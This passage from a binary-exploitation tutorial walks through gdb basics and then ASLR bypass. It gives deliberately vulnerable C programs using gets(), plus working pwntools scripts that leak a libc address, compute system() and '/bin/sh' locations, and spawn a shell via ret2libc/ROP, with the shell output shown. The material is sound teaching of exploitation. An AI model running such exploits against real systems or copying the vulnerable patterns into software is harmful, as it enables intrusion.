   0x40062d <main+55>:  mov    eax,0x0
   0x400632 <main+60>:  mov    rdx,QWORD PTR [rbp-0x8]
   0x400636 <main+64>:  xor    rdx,QWORD PTR fs:0x28
   0x40063f <main+73>:  je     0x400646 <main+80>
2: x/5xw $rsp
0x7fffffffded0: 0xffffdfc0      0x00007fff      0x3f318f00      0xf8ca2299
0x7fffffffdee0: 0x00400650
(gdb)
```

Now we can examine the arguments to `scanf()`. The first is a format string, which can be read by passing the `/s` flag to `x`, and the second is the address on the stack where the input will be stored.

```
(gdb) info registers $rdi $rsi
rdi            0x4006e0 4196064
```

```
rsi            0x7fffffffded4   140737488346836
(gdb) x/s 0x4006e0
0x4006e0:       "%d\n"
(gdb)
```

You can use the `stepi` instruction to step into the call to `scanf()`. Take a look around, then return to `main()` with the `return` command.

```
(gdb) stepi
0x00000000004004e0 in __isoc99_scanf@plt ()
1: x/5i $rip
=> 0x4004e0 <__isoc99_scanf@plt>:
    jmp    QWORD PTR [rip+0x200b4a]        # 0x601030
   0x4004e6 <__isoc99_scanf@plt+6>:     push   0x3
   0x4004eb <__isoc99_scanf@plt+11>:    jmp    0x4004a0
   0x4004f0:    jmp    QWORD PTR [rip+0x200b02]        # 0x600ff8
   0x4004f6:    xchg   ax,ax
2: x/5xw $rsp
0x7fffffffdec8: 0x0040062d      0x00000000      0xffffdfc0      0x00007fff
0x7fffffffded8: 0x3f318f00
(gdb) where
#0  0x00000000004004e0 in __isoc99_scanf@plt ()
#1  0x000000000040062d in main ()
(gdb) disassemble
Dump of assembler code for function __isoc99_scanf@plt:
=> 0x00000000004004e0 <+0>:     jmp    QWORD PTR [rip+0x200b4a]        # 0
    x601030
   0x00000000004004e6 <+6>:     push   0x3
   0x00000000004004eb <+11>:    jmp    0x4004a0
End of assembler dump.
(gdb) return
Make selected stack frame return now? (y or n) y
#0  0x000000000040062d in main ()
(gdb)
```

From here you can exit `gdb` with the `quit` command. This walkthrough has covered enough on `gdb` to get you started learning about it on your own. When in doubt, remember to use the `help` command or check the man page for `gdb`.

3 Tools of the Trade

1. remote / process
2. enhex, unhex, xor
3. packing (p32 / u32)

4 Reverse Engineering

5 Exploiting the Stack

5.1 Memory Corruption

5.2 Shellcoding

5.3 DEP, ROP, and ret2libc

5.4 ASLR

5.4.1 ASLR

ASLR, or Address Space Layout Randomization, is a mitigation technique in which the locations of the stack, heap, and shared libraries are randomized at runtime. This makes ROP and ret2libc attacks more difficult, since the attacker can't reliably jump to those parts of the code. However, ASLR does not randomize code within a single section. This means that if an attacker can leak the address of any library function they can then learn the locations of all of the code in the library.

5.4.2 Exploiting a leak

Consider this program, which intentionally leaks a libc address.

```
/* Defeated by using the leak to bypass ASLR, then using ret2libc/ROP */
#include <stdio.h>
#include <stdlib.h>

int main()
{
        char name[32];
        puts("Welcome to the No Security Aggregate");
        puts("Please sign in with your name.");
        printf("By the way, I found this on the floor, is it yours? %p\n", **(
            int**)*(puts+2));
        gets(name);
        printf("Please take a seat, we'll be with you at some point this week.\n
            ");
        return 0;
}
```

In the program above, the address of `puts()` is leaked before the program prompts for input. This means given the copy of libc that the program is using, we can use the function offsets to find the location of every other libc function. In particular, the location of any libc function will be [leaked puts address] - [puts offset] + [function offset].

We can get the program's shared libraries by using the `ldd` command.

```
> ldd leakRop
    linux-gate.so.1 =>  (0xf7763000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7583000)
    /lib/ld-linux.so.2 (0x565e6000)
```

Ignoring the first and last lines, we see that `leakRop` has `libc.so.6` as a dependency, and that it's located on the system at `/lib/i386-linux-gnu/libc.so.6`. Using `objdump`, we can get the offsets of every function in this copy of libc.

```
> readelf -s /lib/i386-linux-gnu/libc.so.6 | grep puts
   205: 0005fca0   464 FUNC    GLOBAL DEFAULT   13 _IO_puts@@GLIBC_2.0
   434: 0005fca0   464 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.0
   509: 000ebb20  1169 FUNC    GLOBAL DEFAULT   13 putspent@@GLIBC_2.0
   697: 000ed1d0   657 FUNC    GLOBAL DEFAULT   13 putsgent@@GLIBC_2.10
  1182: 0005e720   349 FUNC    WEAK   DEFAULT   13 fputs@@GLIBC_2.0
  1736: 0005e720   349 FUNC    GLOBAL DEFAULT   13 _IO_fputs@@GLIBC_2.0
  2389: 000680e0   146 FUNC    WEAK   DEFAULT   13 fputs_unlocked@@GLIBC_2.1
> readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
   245: 00112ed0    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
```

The output above shows that `puts` and `system` have offsets of `0x0005fca0` and `0x0003ada0` from the start of libc, respectively. Next we can get the address of "/bin/sh" with `strings`.

```
> strings -tx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
 15b9ab /bin/sh
```

This is everything we need in order to call `system("/bin/sh")`, as shown by this program.

```
#!/usr/bin/python
from pwn import *

PUTS_OFFSET   = 0x0005fca0
SYSTEM_OFFSET = 0x0003ada0
BIN_SH_OFFSET = 0x0015b9ab

p = process("./leakRop")
p.readuntil("yours? ")
puts_leak = int(p.readline(), 16)
log.info("leaked puts address: 0x{:>8x}".format(puts_leak))
libc_base_address = puts_leak - PUTS_OFFSET
system_address    = libc_base_address + SYSTEM_OFFSET
bin_sh_address    = libc_base_address + BIN_SH_OFFSET
log.info("found libc base address: 0x{:>8x}".format(libc_base_address))
log.info("found system address: 0x{:>8x}".format(system_address))
log.info("found \"/bin/sh\" address: 0x{:>8x}".format(bin_sh_address))

rop = "A" * 36 + p32(system_address) + p32(0xffffffff) + p32(bin_sh_address)

p.sendline(rop)
p.interactive()
```

When run, the exploit spawns a shell.

```
> ./input_leakRop.py
[+] Starting local process './leakRop': pid 16530
[*] leaked puts address: 0xf762aca0
[*] found libc base address 0xf75cb000
[*] found system address 0xf7605da0
```

```
[*] found "/bin/sh" address 0xf77269ab
[*] Switching to interactive mode
Please take a seat, we'll be with you at some point this week.
$ whoami
devneal
$
```

5.4.3 Making a leak

Programs don't typically leak the addresses of their libc functions for free, but once we gain control of the program, we can create a leak of our own. After all, we're free to add any code we want via ret2libc and rop, so why not add code to leak a libc address? Then once we have the libc address, we can cause the program to return to the place where we first gained control and this time use the leak to spawn a shell! Imagine the program below was compiled with DEP/NX and running on a system which had ASLR enabled.

```c
/* Defeated by using ROP to leak a libc address from the GOT, then using
 * ret2libc/ROP */
#include <stdio.h>
#include <stdlib.h>

int main()
{
        char name[32];
        puts("Welcome to the No Security Aggregate");
        puts("Please sign in with your name.");
        puts("You tricked us last time with that planted pointer...we won't get
            fooled again.");
        gets(name);
        puts("Please take a seat, we'll be with you at some point this week.");
        return 0;
}
```

Since the program makes several calls to `puts()`, it must have entries for `puts()` in both its PLT and GOT. We can view them with `objdump` and `readelf`, respectively. We can also find the address of `main()`.

```
> objdump -d -j .plt ../challenges/rops/makeLeak | grep -A 3 puts
08048310 <puts@plt>:
 8048310:       ff 25 10 a0 04 08       jmp    DWORD PTR ds:0x804a010
 8048316:       68 08 00 00 00          push   0x8
 804831b:       e9 d0 ff ff ff          jmp    80482f0 <_init+0x28>
> readelf --relocs ../challenges/rops/makeLeak | grep puts
0804a010  00000207 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
> readelf --syms makeLeak | grep main
     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0
        (2)
    55: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
    61: 08048436    77 FUNC    GLOBAL DEFAULT   14 main
```

We can tell from the output above that `puts()` has a PLT address at `0x08048310` and a GOT address at `0x0804a010`. We also see that `main()` is located at `0x08048436`. In order to leak the location of `puts()`, we will call `puts()` (by it's entry in the PLT) to print it's own libc location (i.e. it's entry in the GOT). We'll then return to `main()` and spawn a shell just as we did before. The following script puts this plan into action.

```
#!/usr/bin/python
from pwn import *

PUTS_PLT_ADDRESS = 0x08048310
PUTS_GOT_ADDRESS = 0x0804a010
MAIN_ADDRESS     = 0x08048436
PUTS_OFFSET      = 0x0005fca0
SYSTEM_OFFSET    = 0x0003ada0
BIN_SH_OFFSET    = 0x0015b9ab

rop = "A" * 36 + p32(PUTS_PLT_ADDRESS) + p32(MAIN_ADDRESS) + p32(
    PUTS_GOT_ADDRESS)
p = process('./makeLeak')
p.recvuntil('again.\n')
p.sendline(rop)
p.readuntil('week.\n')

puts_leak = u32(p.read(4))
p.readline()
log.info("leaked puts address: 0x{:>8x}".format(puts_leak))
libc_base_address = puts_leak - PUTS_OFFSET
system_address    = libc_base_address + SYSTEM_OFFSET
bin_sh_address    = libc_base_address + BIN_SH_OFFSET
log.info("found libc base address: 0x{:>8x}".format(libc_base_address))
log.info("found system address: 0x{:>8x}".format(system_address))
log.info("found \"/bin/sh\" address: 0x{:>8x}".format(bin_sh_address))

rop = "A" * 36 + p32(system_address) + p32(0xffffffff) + p32(bin_sh_address)
p.sendline(rop)
p.interactive()
```

When the script is run, it does indeed spawn a shell.

```
> ./input_makeLeak.py
[+] Starting local process './makeLeak': pid 22514
[*] leaked puts address: 0xf7636ca0
[*] found libc base address: 0xf75d7000
[*] found system address: 0xf7611da0
[*] found "/bin/sh" address: 0xf77329ab
[*] Switching to interactive mode
Welcome to the No Security Aggregate
Please sign in with your name.
You tricked us last time with that planted pointer...we won't get fooled again.
Please take a seat, we'll be with you at some point this week.
$ whoami
devneal
$
```

6 Exploiting the Heap

7 C++